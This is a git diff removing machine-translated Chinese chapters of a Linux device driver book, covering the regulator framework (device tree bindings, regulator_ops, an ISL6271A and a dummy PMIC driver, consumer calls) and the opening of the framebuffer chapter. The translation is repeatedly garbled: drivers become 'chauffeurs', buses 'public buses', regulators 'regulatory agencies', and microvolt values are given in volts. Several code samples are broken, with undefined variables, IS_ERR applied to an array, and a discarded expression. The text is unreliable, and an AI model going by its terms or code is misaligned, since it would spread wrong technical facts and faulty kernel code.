DT,这将在下一节中描述。 - -# 将初始化数据输入数据终端 - -为了提取从 DT 内部传递的 init 数据,我们需要引入一个新的数据类型,`struct of_regulator_match`,如下所示: - -```sh -struct of_regulator_match { - const char *name; - void *driver_data; - struct regulator_init_data *init_data; - struct device_node *of_node; - const struct regulator_desc *desc; -}; -``` - -在使用这种数据结构之前,我们需要弄清楚如何实现 DT 文件的调节器绑定。 - -DT 中的每个 PMIC 节点都应该有一个名为`regulators`的子节点,在这个子节点中,我们必须将 PMIC 提供的每个监管器声明为专用子节点。换句话说,PMIC 的每个调节器都被定义为`regulators`节点的子节点,而该子节点又是 DT 中 PMIC 节点的子节点。 - -您可以在调节器节点中定义标准化属性: - -* `regulator-name`:这是一个字符串,用作调节器输出的描述性名称 -* `regulator-min-microvolt`:这是消费者可能设定的最小电压 -* `regulator-max-microvolt`:这是用户可能设定的最大电压 -* `regulator-microvolt-offset`:这是为补偿电压降而施加到电压上的偏移 -* `regulator-min-microamp`:这是目前消费者可能设定的最小 -* `regulator-max-microamp`:这是目前消费者可能设定的最大值 -* `regulator-always-on`:这是一个布尔值,表示调节器是否应该被禁用 -* `regulator-boot-on`:这是一个引导加载器/固件使能的调节器 -* `-supply`:这是到父电源/调节器节点的一个指针 -* `regulator-ramp-delay`:这是调节器的斜坡延迟(单位为 uV/uS) - -这些属性看起来真的像`struct regulator_init_data`中的字段。回到`ISL6271A`驱动,其 DT 条目可能如下所示: - -```sh -isl6271a@3c { - compatible = "isl6271a"; - reg = <0x3c>; - interrupts = <0 86 0x4>; - - /* supposing our regulator is powered by another regulator */ - in-v1-supply = <&some_reg>; - [...] - - regulators { - reg1: core_buck { - regulator-name = "Core Buck"; - regulator-min-microvolt = <850000>; - regulator-max-microvolt = <1600000>; - }; - - reg2: ldo1 { - regulator-name = "LDO1"; - regulator-min-microvolt = <1100000>; - regulator-max-microvolt = <1100000>; - regulator-always-on; - }; - - reg3: ldo2 { - regulator-name = "LDO2"; - regulator-min-microvolt = <1300000>; - regulator-max-microvolt = <1300000>; - regulator-always-on; - }; - }; -}; -``` - -使用内核助手函数`of_regulator_match()`,给定`regulators`子节点作为参数,该函数将遍历每个调节器设备节点,并为每个节点构建一个`struct init_data`结构。在`probe()`功能中有一个例子,在驱动方法部分讨论。 - -# 配置结构 - -调节器装置通过`struct regulator_config`结构进行配置,该结构保存调节器描述的可变元素。在向核心注册监管机构时,这种结构会传递给框架: - -```sh -struct regulator_config { - struct device *dev; - const struct regulator_init_data *init_data; - void *driver_data; - struct device_node *of_node; -}; -``` - -* `dev`表示调节器所属的结构器件结构。 -* `init_data`是结构中最重要的字段,因为它包含一个保存调节器约束的元素(机器特定的结构)。 -* `driver_data`保存着监管者的私人数据。 -* `of_node`为具备 DT 能力的驾驶员。它是解析 DT 绑定的节点。由开发人员设置该字段。也可能是`NULL`。 - -# 设备操作结构 - -`struct regulator_ops`结构是一个回调列表,代表一个调节器可以执行的所有操作。这些回调是助手,由通用内核函数包装: - -```sh -struct regulator_ops { - /* enumerate supported voltages */ - int (*list_voltage) (struct regulator_dev *, - unsigned selector); - - /* get/set regulator voltage */ - int (*set_voltage) (struct regulator_dev *, - int min_uV, int max_uV, - unsigned *selector); - int (*map_voltage)(struct regulator_dev *, - int min_uV, int max_uV); - int (*set_voltage_sel) (struct regulator_dev *, - unsigned selector); - int (*get_voltage) (struct regulator_dev *); - int (*get_voltage_sel) (struct regulator_dev *); - - /* get/set regulator current */ - int (*set_current_limit) (struct regulator_dev *, - int min_uA, int max_uA); - int (*get_current_limit) (struct regulator_dev *); - - int (*set_input_current_limit) (struct regulator_dev *, - int lim_uA); - int (*set_over_current_protection) (struct regulator_dev *); - int (*set_active_discharge) (struct regulator_dev *, - bool enable); - - /* enable/disable regulator */ - int (*enable) (struct regulator_dev *); - int (*disable) (struct regulator_dev *); - int (*is_enabled) (struct regulator_dev *); - - /* get/set regulator operating mode (defined in consumer.h) */ - int (*set_mode) (struct regulator_dev *, unsigned int mode); - unsigned int (*get_mode) (struct regulator_dev *); -}; -``` - -回调名很好地解释了它们的作用。这里没有列出其他回调,为此您必须在调节器约束的`valid_ops_mask`或`valid_modes_mask`中启用适当的掩码,然后消费者才能使用它们。可用的操作屏蔽标志在`include/linux/regulator/machine.h`中定义。 - -因此,给定一个`struct regulator_dev`结构,可以通过调用`rdev_get_id()`函数获得相应调节器的 ID: - -```sh -int rdev_get_id(struct regulator_dev *rdev) -``` - -# 驱动方法 - -驱动方法包括`probe()`和`remove()`功能。如果您对这一部分不清楚,请参考前面的数据结构。 - -# 探测功能 - -PMIC 驾驶员的`probe`功能可以分为几个步骤,列举如下: - -1. 为该 PMIC 提供的所有调节器定义一组`struct regulator_desc`对象。在这一步中,您应该已经定义了一个有效的`struct regulator_ops`来链接到适当的`regulator_desc`。假设它们都支持相同的操作,那么对所有人来说都可能是相同的`regulator_ops`。 -2. 现在在`probe`功能中,对于每个调节器: - -调节器使用`regulator_register()`功能或`devm_regulator_register()`向内核注册,这是托管版本: - -```sh -struct regulator_dev * regulator_register(const struct regulator_desc *regulator_desc, const struct regulator_config *cfg) -``` - -这个函数返回一个我们到目前为止还没有讨论过的数据类型:一个在`include/linux/regulator/driver.h.`中定义的`struct regulator_dev`对象,该结构表示一个来自生产者端的调节器设备的实例(它在消费者端是不同的)。`struct regulator_dev`结构的实例不应该被任何东西直接使用,除了调节器核心和通知注入(应该采用互斥体,而不是其他直接访问)。也就是说,为了在驱动中跟踪注册的调节器,应该保存注册函数返回的每个`regulator_dev`对象的引用。 - -# 移除功能 - -`remove()`功能是在`probe`期间较早执行的每个操作。因此,当涉及到从系统中移除调节器时,您应该记住的基本功能是`regulator_unregister()`: - -```sh -void regulator_unregister(struct regulator_dev *rdev) -``` - -该函数接受指向`struct regulator_dev`结构的指针作为参数。这也是应该保留每个注册监管机构的参考资料的另一个原因。以下是 ISL6271A 驱动的`remove`功能: - -```sh -static int __devexit isl6271a_remove(struct i2c_client *i2c) -{ - struct isl_pmic *pmic = i2c_get_clientdata(i2c); - int i; - - for (i = 0; i < 3; i++) - regulator_unregister(pmic->rdev[i]); - - kfree(pmic); - return 0; -} -``` - -# 案例研究:Intersil ISL6271A 电压调节器 - -作为召回,该 PMIC 提供了三个调节器装置,其中只有一个可以改变其输出值。另外两个提供固定电压: - -```sh -struct isl_pmic { - struct i2c_client *client; - struct regulator_dev *rdev[3]; - struct mutex mtx; -}; -``` - -首先我们定义 ops 回调,以设置一个`struct regulator_desc`: - -1. 回调处理一个`get_voltage_sel`操作: - -```sh -static int isl6271a_get_voltage_sel(struct regulator_dev *rdev) -{ - struct isl_pmic *pmic = rdev_get_drvdata(dev); - int idx = rdev_get_id(rdev); - idx = i2c_smbus_read_byte(pmic->client); - if (idx < 0) - [...] /* handle this error */ - - return idx; -} -``` - -以下是处理一个`set_voltage_sel`操作的回调: - -```sh -static int isl6271a_set_voltage_sel( -struct regulator_dev *dev, unsigned selector) -{ - struct isl_pmic *pmic = rdev_get_drvdata(dev); - int err; - - err = i2c_smbus_write_byte(pmic->client, selector); - if (err < 0) - [...] /* handle this error */ - - return err; -} -``` - -2. 既然我们已经完成了回调定义,我们可以构建一个`struct regulator_ops`: - -```sh -static struct regulator_ops isl_core_ops = { - .get_voltage_sel = isl6271a_get_voltage_sel, - .set_voltage_sel = isl6271a_set_voltage_sel, - .list_voltage = regulator_list_voltage_linear, - .map_voltage = regulator_map_voltage_linear, -}; - -static struct regulator_ops isl_fixed_ops = { - .list_voltage = regulator_list_voltage_linear, -}; -``` - -You can ask yourself where the `regulator_list_voltage_linear` and `regulator_list_voltage_linear` functions come from. As with many other regulator helper functions, they are also defined in `drivers/regulator/helpers.c`. The kernel provides helper functions for linear output regulators, as is the case for the ISL6271A. - -是时候为所有监管者建立一个`struct regulator_desc`阵列了: - -```sh -static const struct regulator_desc isl_rd[] = { - { - .name = "Core Buck", - .id = 0, - .n_voltages = 16, - .ops = &isl_core_ops, - .type = REGULATOR_VOLTAGE, - .owner = THIS_MODULE, - .min_uV = ISL6271A_VOLTAGE_MIN, - .uV_step = ISL6271A_VOLTAGE_STEP, - }, { - .name = "LDO1", - .id = 1, - .n_voltages = 1, - .ops = &isl_fixed_ops, - .type = REGULATOR_VOLTAGE, - .owner = THIS_MODULE, - .min_uV = 1100000, - }, { - .name = "LDO2", - .id = 2, - .n_voltages = 1, - .ops = &isl_fixed_ops, - .type = REGULATOR_VOLTAGE, - .owner = THIS_MODULE, - .min_uV = 1300000, - }, -}; -``` - -`LDO1`和`LDO2`具有固定的输出电压。这就是为什么他们的`n_voltages`属性设置为 1,而他们的 ops 只提供`regulator_list_voltage_linear`映射。 - -3. 现在我们在`probe`功能中,我们需要构建我们的`struct init_data`结构的地方。如果你记得的话,我们将使用前面介绍的`struct of_regulator_match`。我们应该声明一个该类型的数组,其中我们应该设置每个调节器的`.name`属性,为此我们需要获取`init_data`: - -```sh -static struct of_regulator_match isl6271a_matches[] = { - { .name = "core_buck", }, - { .name = "ldo1", }, - { .name = "ldo2", }, -}; -``` - -再仔细看一下,您会注意到`.name`属性的设置值与设备树中调节器的标签值完全相同。这是一条你应该关心和尊重的规则。 - -现在让我们看看探针功能。ISL6271A 提供三个调节器输出,这意味着`regulator_register()`功能应调用三次: - -```sh -static int isl6271a_probe(struct i2c_client *i2c, - const struct i2c_device_id *id) -{ -struct regulator_config config = { }; -struct regulator_init_data *init_data = -dev_get_platdata(&i2c->dev); -struct isl_pmic *pmic; -int i, ret; - - struct device *dev = &i2c->dev; - struct device_node *np, *parent; - - if (!i2c_check_functionality(i2c->adapter, - I2C_FUNC_SMBUS_BYTE_DATA)) - return -EIO; - - pmic = devm_kzalloc(&i2c->dev, -sizeof(struct isl_pmic), GFP_KERNEL); - if (!pmic) - return -ENOMEM; - - /* Get the device (PMIC) node */ - np = of_node_get(dev->of_node); - if (!np) - return -EINVAL; - - /* Get 'regulators' subnode */ - parent = of_get_child_by_name(np, "regulators"); - if (!parent) { - dev_err(dev, "regulators node not found\n"); - return -EINVAL; - } - - /* fill isl6271a_matches array */ - ret = of_regulator_match(dev, parent, isl6271a_matches, - ARRAY_SIZE(isl6271a_matches)); - - of_node_put(parent); - if (ret < 0) { - dev_err(dev, "Error parsing regulator init data: %d\n", - ret); - return ret; - } - - pmic->client = i2c; - mutex_init(&pmic->mtx); - - for (i = 0; i < 3; i++) { - struct regulator_init_data *init_data; - struct regulator_desc *desc; - int val; - - if (pdata) - /* Given as platform data */ - config.init_data = pdata->init_data[i]; - else - /* Fetched from device tree */ - config.init_data = isl6271a_matches[i].init_data; - - config.dev = &i2c->dev; -config.of_node = isl6271a_matches[i].of_node; -config.ena_gpio = -EINVAL; - - /* - * config is passed by reference because the kernel - * internally duplicate it to create its own copy - * so that it can override some fields - */ - pmic->rdev[i] = devm_regulator_register(&i2c->dev, - &isl_rd[i], &config); - if (IS_ERR(pmic->rdev[i])) { - dev_err(&i2c->dev, "failed to register %s\n", -id->name); - return PTR_ERR(pmic->rdev[i]); - } - } - i2c_set_clientdata(i2c, pmic); - return 0; -} -``` - -`init_data` can be `NULL` for a fixed regulator. It means that for the ISL6271A, only the regulator whose voltage output may change may be assigned an `init_data`. - -```sh -/* Only the first regulator actually need it */ -if (i == 0) - if(pdata) - config.init_data = init_data; /* pdata */ - else - isl6271a_matches[i].init_data; /* DT */ -else - config.init_data = NULL; -``` - -前一个驱动没有填充`struct regulator_desc`的每个字段。这在很大程度上取决于我们为其编写驱动的设备类型。有些驱动将整个工作交给调节器内核,只提供芯片的寄存器地址,调节器内核需要使用该地址。这样的驱动使用**注册映射**应用编程接口,这是一个通用的 I2C 和 SPI 注册映射库。`drivers/regulator/max8649.c`就是一个例子。 - -# 驱动示例 - -让我们总结一下之前在实际驱动中讨论的事情,对于具有两个调节器的虚拟 PMIC,其中第一个调节器的电压范围为 850000 伏至 1600000 伏,阶跃为 50000 伏,第二个调节器的固定电压为 1300000 伏: - -```sh -#include -#include -#include -#include /* For platform devices */ -#include /* For IRQ */ -#include /* For DT*/ -#include -#include -#include - -#define DUMMY_VOLTAGE_MIN 850000 -#define DUMMY_VOLTAGE_MAX 1600000 -#define DUMMY_VOLTAGE_STEP 50000 - -struct my_private_data { - int foo; - int bar; - struct mutex lock; -}; - -static const struct of_device_id regulator_dummy_ids[] = { - { .compatible = "packt,regulator-dummy", }, - { /* sentinel */ } -}; - -static struct regulator_init_data dummy_initdata[] = { - [0] = { - .constraints = { - .always_on = 0, - .min_uV = DUMMY_VOLTAGE_MIN, - .max_uV = DUMMY_VOLTAGE_MAX, - }, - }, - [1] = { - .constraints = { - .always_on = 1, - }, - }, -}; - -static int isl6271a_get_voltage_sel(struct regulator_dev *dev) -{ - return 0; -} - -static int isl6271a_set_voltage_sel(struct regulator_dev *dev, - unsigned selector) -{ - return 0; -} - -static struct regulator_ops dummy_fixed_ops = { - .list_voltage = regulator_list_voltage_linear, -}; - -static struct regulator_ops dummy_core_ops = { - .get_voltage_sel = isl6271a_get_voltage_sel, - .set_voltage_sel = isl6271a_set_voltage_sel, - .list_voltage = regulator_list_voltage_linear, - .map_voltage = regulator_map_voltage_linear, -}; - -static const struct regulator_desc dummy_desc[] = { - { - .name = "Dummy Core", - .id = 0, - .n_voltages = 16, - .ops = &dummy_core_ops, - .type = REGULATOR_VOLTAGE, - .owner = THIS_MODULE, - .min_uV = DUMMY_VOLTAGE_MIN, - .uV_step = DUMMY_VOLTAGE_STEP, - }, { - .name = "Dummy Fixed", - .id = 1, - .n_voltages = 1, - .ops = &dummy_fixed_ops, - .type = REGULATOR_VOLTAGE, - .owner = THIS_MODULE, - .min_uV = 1300000, - }, -}; - -static int my_pdrv_probe (struct platform_device *pdev) -{ - struct regulator_config config = { }; - config.dev = &pdev->dev; - - struct regulator_dev *dummy_regulator_rdev[2]; - - int ret, i; - for (i = 0; i < 2; i++){ - config.init_data = &dummy_initdata[i]; - dummy_regulator_rdev[i] = \ - regulator_register(&dummy_desc[i], &config); - if (IS_ERR(dummy_regulator_rdev)) { - ret = PTR_ERR(dummy_regulator_rdev); - pr_err("Failed to register regulator: %d\n", ret); - return ret; - } - } - - platform_set_drvdata(pdev, dummy_regulator_rdev); - return 0; -} - -static void my_pdrv_remove(struct platform_device *pdev) -{ - int i; - struct regulator_dev *dummy_regulator_rdev = \ - platform_get_drvdata(pdev); - for (i = 0; i < 2; i++) - regulator_unregister(&dummy_regulator_rdev[i]); -} - -static struct platform_driver mypdrv = { - .probe = my_pdrv_probe, - .remove = my_pdrv_remove, - .driver = { - .name = "regulator-dummy", - .of_match_table = of_match_ptr(regulator_dummy_ids), - .owner = THIS_MODULE, - }, -}; -module_platform_driver(mypdrv); -MODULE_AUTHOR("John Madieu "); -MODULE_LICENSE("GPL"); -``` - -一旦模块被加载并且设备被匹配,内核将打印如下内容: - -```sh -Dummy Core: at 850 mV -Dummy Fixed: 1300 mV -``` - -人们可以检查引擎盖下发生了什么: - -```sh -# ls /sys/class/regulator/ -regulator.0 regulator.11 regulator.14 regulator.4 regulator.7 -regulator.1 regulator.12 regulator.2 regulator.5 regulator.8 -regulator.10 regulator.13 regulator.3 regulator.6 regulator.9 -``` - -`regulator.13`和`regulator.14`已经被我们的司机添加了。现在让我们检查它们的属性: - -```sh -# cd /sys/class/regulator -# cat regulator.13/name -Dummy Core -# cat regulator.14/name -Dummy Fixed -# cat regulator.14/type -voltage -# cat regulator.14/microvolts -1300000 -# cat regulator.13/microvolts -850000 -``` - -# 监管机构消费者界面 - -消费者界面只要求驱动包含一个标题: - -```sh -#include -``` - -消费者可以是静态的,也可以是动态的。静态调节器只需要固定电源,而动态调节器则需要在运行时对调节器进行主动管理。从消费者角度来看,调节器设备在内核中表示为`struct regulator`结构的一个实例,在`drivers/regulator/internal.h`中定义,如下所示: - -```sh -/* - * struct regulator - * - * One for each consumer device. - */ -struct regulator { - struct device *dev; - struct list_head list; - unsigned int always_on:1; - unsigned int bypass:1; - int uA_load; - int min_uV; - int max_uV; - char *supply_name; - struct device_attribute dev_attr; - struct regulator_dev *rdev; - struct dentry *debugfs; -}; -``` - -这种结构足够有意义,不需要我们添加任何评论。为了了解消费监管机构有多容易,这里有一个消费者如何获得监管机构的小例子: - -```sh -[...] -int ret; -struct regulator *reg; -const char *supply = "vdd1"; -int min_uV, max_uV; -reg = regulator_get(dev, supply); -[...] -``` - -# 调节器设备请求 - -在访问监管机构之前,消费者必须通过`regulator_get()`功能请求内核。也可以使用托管版本`devm_regulator_get()`功能: - -```sh -struct regulator *regulator_get(struct device *dev, -const char *id) -``` - -使用此功能的一个例子是: - -```sh - reg = regulator_get(dev, "Vcc"); -``` - -消费者输入其`struct device`指针和电源标识。内核将尝试通过查阅 DT 或特定于机器的查找表来找到正确的调节器。如果我们只关注设备树,`*id`应该匹配设备树中调节器电源的``模式。如果查找成功,那么这个调用将返回一个指向提供这个消费者的`struct regulator`的指针。 - -要释放调节器,消费者驱动应该调用: - -```sh -void regulator_put(struct regulator *regulator) -``` - -在调用此功能之前,驱动应确保在此调节器源上进行的所有`regulator_enable()`调用都被`regulator_disable()`调用平衡。 - -多个调节器可以为一个用户供电,例如,为编解码器用户提供模拟和数字电源: - -```sh - digital = regulator_get(dev, "Vcc"); /* digital core */ - analog = regulator_get(dev, "Avdd"); /* analog */ -``` - -消费者`probe()`和`remove()`功能是抓取和释放调节器的合适场所。 - -# 控制调节器装置 - -调节器控制包括启用、禁用和设置调节器的输出值。 - -# 调节器输出使能和禁用 - -用户可以通过调用以下命令来启用其电源: - -```sh -int regulator_enable(regulator); -``` - -此函数在成功时返回 0。反向操作包括通过调用以下命令禁用电源: - -```sh -int regulator_disable(regulator); -``` - -要检查调节器是否已启用,消费者应将其称为: - -```sh -int regulator_is_enabled(regulator); -``` - -如果调节器已启用,此函数将返回大于 0 的值。由于调节器可以由引导加载程序提前启用或与另一个消费者共享,因此可以使用`regulator_is_enabled()`功能检查调节器状态。 - -这里有一个例子, - -```sh - printk (KERN_INFO "Regulator Enabled = %d\n", - regulator_is_enabled(reg)); -``` - -For a shared regulator, `regulator_disable()` will actually disable the regulator only when the enabled reference count is zero. That said, you can force disabling in case of an emergency, for example, by calling `regulator_force_disable()`: - -```sh -int regulator_force_disable(regulator); -``` - -我们将在接下来的章节中讨论的每个函数实际上都是一个`regulator_ops`操作的包装器。比如`regulator_set_voltage()`检查设置了允许该操作的对应掩码后,内部调用`regulator_ops.set_voltage`等等。 - -# 电压控制和状态 - -对于需要根据工作模式调整电源的用户,内核提供了以下功能: - -```sh -int regulator_set_voltage(regulator, min_uV, max_uV); -``` - -`min_uV`和`max_uV`是最小和最大可接受电压,单位为微伏。 - -如果在调节器禁用时调用,该功能将改变电压配置,以便在下一次启用调节器时物理设置电压。也就是说,消费者可以通过调用`regulator_get_voltage()`获得调节器配置的电压输出,无论调节器是否启用,都会返回配置的输出电压: - -```sh -int regulator_get_voltage(regulator); -``` - -这里有一个例子, - -```sh -printk (KERN_INFO "Regulator Voltage = %d\n", -regulator_get_voltage(reg)); -``` - -# 限流控制和状态 - -我们在电压部分讨论的内容也适用于此。例如,USB 驱动在供电时可能希望将限制设置为 500 毫安。 - -消费者可以通过拨打以下电话来控制其电源电流限制: - -```sh -int regulator_set_current_limit(regulator, min_uA, max_uA); -``` - -`min_uA`和`max_uA`是以微安为单位的最小和最大可接受电流限值。 - -同样,消费者可以通过调用`regulator_get_current_limit()`将调节器配置到限流,无论调节器是否启用,都会返回限流: - -```sh -int regulator_get_current_limit(regulator); -``` - -# 操作模式控制和状态 - -为了实现高效的电源管理,当一些用户的工作状态发生变化时,他们可能会改变电源的工作模式。消费者驱动可以通过以下方式请求更改其电源调节器操作模式: - -```sh -int regulator_set_optimum_mode(struct regulator *regulator, -int load_uA); -int regulator_set_mode(struct regulator *regulator, -unsigned int mode); -unsigned int regulator_get_mode(struct regulator *regulator); -``` - -消费者只有在了解监管机构并且不与其他消费者共享监管机构的情况下,才能在监管机构上使用`regulator_set_mode()`。这就是所谓的**直接模式**。`regulator_set_uptimum_mode()`使内核进行一些后台工作,以确定哪种操作模式最适合所请求的电流。这就是所谓的**间接模式**。 - -# 调节器绑定 - -本节只讨论消费者接口绑定。因为 PMIC 绑定包括为监管者提供`init data`,这是 PMIC 提供的,你应该参考*一节把初始化数据输入到 DT* 来理解生产者绑定。 - -消费者节点可以使用以下绑定来引用其一个或多个电源/调节器: - -```sh --supply: phandle to the regulator node -``` - -这与脉宽调制消费者绑定的原理相同。``应该足够有意义,以便驾驶员在请求调节器时可以轻松参考。也就是说,``必须匹配`regulator_get()`功能的`*id`参数: - -```sh -twl_reg1: regulator@0 { - [...] -}; - -twl_reg2: regulator@1 { - [...] -}; - -mmc: mmc@0x0 { - [...] - vmmc-supply = <&twl_reg1>; - vmmcaux-supply = <&twl_reg2>; -}; -``` - -实际请求其供应的消费者代码(即 MMC 驱动)可能如下所示: - -```sh -struct regulator *main_regulator; -struct regulator *aux_regulator; -int ret; -main_regulator = devm_regulator_get(dev, "vmmc"); - -/* - * It is a good practive to apply the config before - * enabling the regulator - */ -if (!IS_ERR(io_regulator)) { - regulator_set_voltage(main_regulator, - MMC_VOLTAGE_DIGITAL, - MMC_VOLTAGE_DIGITAL); - ret = regulator_enable(io_regulator); -} -[...] -aux_regulator = devm_regulator_get(dev, "vmmcaux"); -[...] -``` - -# 摘要 - -由于各种各样的设备需要灵活、平稳地供电,因此可以依赖本章来处理它们的电源管理。PMIC 设备通常位于 SPI 或 I2C 总线上。在前几章中已经讨论过这些公共汽车了,你应该可以写任何一个 PMIC 司机。现在让我们跳到下一章,讨论 framebuffer 驱动,这是一个完全不同且同样有趣的话题。 \ No newline at end of file diff --git a/docs/linux-device-driver-dev/21.md b/docs/linux-device-driver-dev/21.md deleted file mode 100644 index 5764dcba..00000000 --- a/docs/linux-device-driver-dev/21.md +++ /dev/null @@ -1,648 +0,0 @@ -# 二十一、帧缓冲驱动 - -显卡总是有一定的内存。这个内存是图像数据的位图缓冲显示的地方。从软件的角度来看,帧缓冲区是一个字符设备,提供对内存的访问。 - -也就是说,帧缓冲驱动提供了一个接口,用于: - -* 显示模式设置 -* 对视频缓冲区的内存访问 -* 基本 2D 加速操作(例如,滚动) - -为了提供这个接口,framebuffer 驱动通常直接与硬件对话。有一些众所周知的帧缓冲驱动,例如: - -* **intelfb** ,是各种英特尔 8xx/9xx 兼容图形设备的帧缓冲器 -* **vesafb** ,这是一个帧缓冲驱动,使用 VESA 标准接口与视频硬件对话 -* **mxcfb** ,i.MX6 芯片系列的帧缓冲驱动 - -Framebuffer 驱动是 Linux 下最简单的图形驱动形式,不要把它们和 X.org 驱动混淆,后者实现了 3D 加速等高级功能,或者是内核模式设置(KMS)驱动,它同时公开了 framebuffer 和 GPU 功能(就像 X.org 驱动一样)。 - -i.MX6 X.org driver is a closed source and called **vivante.** - -回到我们的帧缓冲驱动,它们是非常简单的应用编程接口驱动,通过字符设备展示显卡功能,可通过`/dev/fbX`条目从用户空间访问。你可以在马丁·费德勒的综合演讲 *Linux 图形去神秘化*:[http://keyj.emphy.de/files/linuxgraphics_en.pdf](http://keyj.emphy.de/files/linuxgraphics_en.pdf)中找到更多关于 Linux 图形堆栈的信息。 - -在本章中,我们将讨论以下主题: - -* Framebuffer 驱动数据结构和方法,从而覆盖整个驱动架构 -* 帧缓冲区设备操作,加速和非加速 -* 从用户空间访问帧缓冲区 - -# 驱动数据结构 - -framebuffer 驱动严重依赖于四种数据结构,它们都在`include/linux/fb.h`中定义,这也是为了处理 framebuffer 驱动,您应该在代码中包含的头: - -```sh -#include -``` - -这些结构是`fb_var_screeninfo`、`fb_fix_screeninfo`、`fb_cmap`和`fb_info`。前三个可以从用户空间代码获得。现在让我们描述每个结构的目的,它们的意义,以及它们的用途。 - -1. 内核使用`struct struct fb_var_screeninfo`的一个实例来保存显卡的可变属性。这些值由用户定义,例如分辨率深度: - -```sh -struct fb_var_screeninfo { - __u32 xres; /* visible resolution */ - __u32 yres; - - __u32 xres_virtual; /* virtual resolution */ - __u32 yres_virtual; - - __u32 xoffset; /* offset from virtual to visible resolution */ - __u32 yoffset; - - __u32 bits_per_pixel; /* # of bits needed to hold a pixel */ - [...] - - /* Timing: All values in pixclocks, except pixclock (of course) */ - __u32 pixclock; /* pixel clock in ps (pico seconds) */ - __u32 left_margin; /* time from sync to picture */ - __u32 right_margin; /* time from picture to sync */ - __u32 upper_margin; /* time from sync to picture */ - __u32 lower_margin; - __u32 hsync_len; /* length of horizontal sync */ - __u32 vsync_len; /* length of vertical sync */ - __u32 rotate; /* angle we rotate counter clockwise */ -}; -``` - -这可以总结为如下图所示: - -![](img/00044.jpeg) - -2. 视频卡有一些属性是固定的,或者是由制造商固定的,或者是在设置模式时应用的,否则无法更改。这一般是硬件信息。这方面的一个很好的例子是帧缓冲存储器的启动,即使用户程序也不能改变。内核在`struct fb_fix_screeninfo`结构的实例中保存这样的信息: - -```sh -struct fb_fix_screeninfo { - char id[16]; /* identification string eg "TT Builtin" */ - unsigned long smem_start; /* Start of frame buffer mem */ - /* (physical address) */ - __u32 smem_len;/* Length of frame buffer mem */ - __u32 type; /* see FB_TYPE_* */ - __u32 type_aux; /* Interleave for interleaved Planes */ - __u32 visual; /* see FB_VISUAL_* */ - __u16 xpanstep; /* zero if no hardware panning */ - __u16 ypanstep; /* zero if no hardware panning */ - __u16 ywrapstep; /* zero if no hardware ywrap */ - __u32 line_length; /* length of a line in bytes */ - unsigned long mmio_start; /* Start of Memory Mapped I/O - *(physical address) - */ - __u32 mmio_len; /* Length of Memory Mapped I/O */ - __u32 accel; /* Indicate to driver which */ - /* specific chip/card we have */ - __u16 capabilities; /* see FB_CAP_* */ -}; -``` - -3. struct `fb_cmap`结构指定颜色映射,用于以内核可以理解的方式存储用户对颜色的定义,以便将其发送到底层视频硬件。可以使用这种结构来定义不同颜色所需的 RGB 比率: - -```sh -struct fb_cmap { - __u32 start; /* First entry */ - __u32 len; /* Number of entries */ - __u16 *red; /* Red values */ - __u16 *green; /* Green values */ - __u16 *blue; /* Blue values */ - __u16 *transp; /* Transparency. Discussed later on */ -}; -``` - -4. `struct fb_info`结构代表帧缓冲区本身,是帧缓冲区驱动的主要数据结构。与前面讨论的其他结构不同,`fb_info`只存在于内核中,不是用户空间 framebuffer API 的一部分: - -```sh -struct fb_info { - [...] - struct fb_var_screeninfo var; /* Variable screen information. - Discussed earlier. */ - struct fb_fix_screeninfo fix; /* Fixed screen information. */ - struct fb_cmap cmap; /* Color map. */ - struct fb_ops *fbops; /* Driver operations.*/ - char __iomem *screen_base; /* Frame buffer's - virtual address */ - unsigned long screen_size; /* Frame buffer's size */ - [...] - struct device *device; /* This is the parent */ -struct device *dev; /* This is this fb device */ -#ifdef CONFIG_FB_BACKLIGHT - /* assigned backlight device */ - /* set before framebuffer registration, - remove after unregister */ - struct backlight_device *bl_dev; - - /* Backlight level curve */ - struct mutex bl_curve_mutex; - u8 bl_curve[FB_BACKLIGHT_LEVELS]; -#endif -[...] -void *par; /* Pointer to private memory */ -}; -``` - -`struct fb_info`结构应该总是动态分配的,使用`framebuffer_alloc()`,这是一个内核(帧缓冲区核心)助手函数,为帧缓冲区设备的实例分配内存,以及它们的私有数据内存: - -```sh -struct fb_info *framebuffer_alloc(size_t size, struct device *dev) -``` - -在这个原型中,`size`将私有区域的大小表示为一个参数,并将其附加到已分配的`fb_info`的末尾。可以使用`fb_info`结构中的`.par`指针来引用该私有区域。`framebuffer_release()`做反操作: - -```sh -void framebuffer_release(struct fb_info *info) -``` - -一旦设置好了,应该使用`register_framebuffer()`向内核注册一个帧缓冲区,如果错误则返回否定的`errno`,如果成功则返回`zero`: - -```sh -int register_framebuffer(struct fb_info *fb_info) -``` - -注册后,可以使用`unregister_framebuffer()`函数取消注册帧缓冲区,该函数在出错时也会返回一个否定的`errno`,如果成功则返回`zero`: - -```sh -int unregister_framebuffer(struct fb_info *fb_info) -``` - -分配和注册应该在设备探测期间完成,而取消注册和取消分配(释放)应该在驱动的`remove()`功能中完成。 - -# 设备方法 - -在`struct fb_info`结构中,有一个`.fbops`字段,它是`struct fb_ops`结构的一个实例。该结构包含需要在 framebuffer 设备上执行一些操作的函数的集合。这些是`fbdev`和`fbcon`工具的入口点。该结构中的一些方法是强制性的,是帧缓冲区工作所需的最低要求,而其他方法是可选的,取决于驱动需要公开的功能,假设设备本身支持这些功能。 - -以下是`struct fb_ops`结构的定义: - -```sh - struct fb_ops { - /* open/release and usage marking */ - struct module *owner; - int (*fb_open)(struct fb_info *info, int user); - int (*fb_release)(struct fb_info *info, int user); - - /* For framebuffers with strange nonlinear layouts or that do not - * work with normal memory mapped access - */ - ssize_t (*fb_read)(struct fb_info *info, char __user *buf, - size_t count, loff_t *ppos); - ssize_t (*fb_write)(struct fb_info *info, const char __user *buf, - size_t count, loff_t *ppos); - - /* checks var and eventually tweaks it to something supported, - * DO NOT MODIFY PAR */ - int (*fb_check_var)(struct fb_var_screeninfo *var, struct fb_info *info); - - /* set the video mode according to info->var */ - int (*fb_set_par)(struct fb_info *info); - - /* set color register */ - int (*fb_setcolreg)(unsigned regno, unsigned red, unsigned green, - unsigned blue, unsigned transp, struct fb_info *info); - - /* set color registers in batch */ - int (*fb_setcmap)(struct fb_cmap *cmap, struct fb_info *info); - - /* blank display */ - int (*fb_blank)(int blank_mode, struct fb_info *info); - - /* pan display */ - int (*fb_pan_display)(struct fb_var_screeninfo *var, struct fb_info *info); - - /* Draws a rectangle */ - void (*fb_fillrect) (struct fb_info *info, const struct fb_fillrect *rect); - /* Copy data from area to another */ - void (*fb_copyarea) (struct fb_info *info, const struct fb_copyarea *region); - /* Draws a image to the display */ - void (*fb_imageblit) (struct 